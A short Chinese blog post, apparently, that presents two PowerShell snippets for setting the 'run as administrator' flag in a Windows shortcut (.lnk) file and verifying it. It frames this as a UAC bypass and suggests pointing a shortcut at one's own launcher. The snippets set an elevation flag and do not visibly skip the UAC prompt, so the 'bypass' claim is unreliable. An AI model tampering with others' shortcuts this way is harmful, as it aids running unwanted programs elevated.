PowerShell修改lnk属性实现BypassUac

PowerShell修改lnk属性实现BypassUac

d2b5ca33bd20250307115919

修改快捷方式

 
$shortcutPath = "C:\Users\ASUS\Desktop\逍遥多开器.lnk"
$bytes = [System.IO.File]::ReadAllBytes($shortcutPath)
$bytes[0x15] = $bytes[0x15] -bor 0x20
[System.IO.File]::WriteAllBytes($shortcutPath, $bytes)

读取判断是否修改成功

 
$lnkPath = "C:\Users\Administrator\Desktop\cmd.lnk"
$bytes = [System.IO.File]::ReadAllBytes($lnkPath)
$flagByte = $bytes[0x15]
if ($flagByte -band 0x20) {  Write-Host "✅ 该快捷方式已启用【以管理员身份运行】。" -ForegroundColor Green }

自己替换目标的文件为你的启动器即可。

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容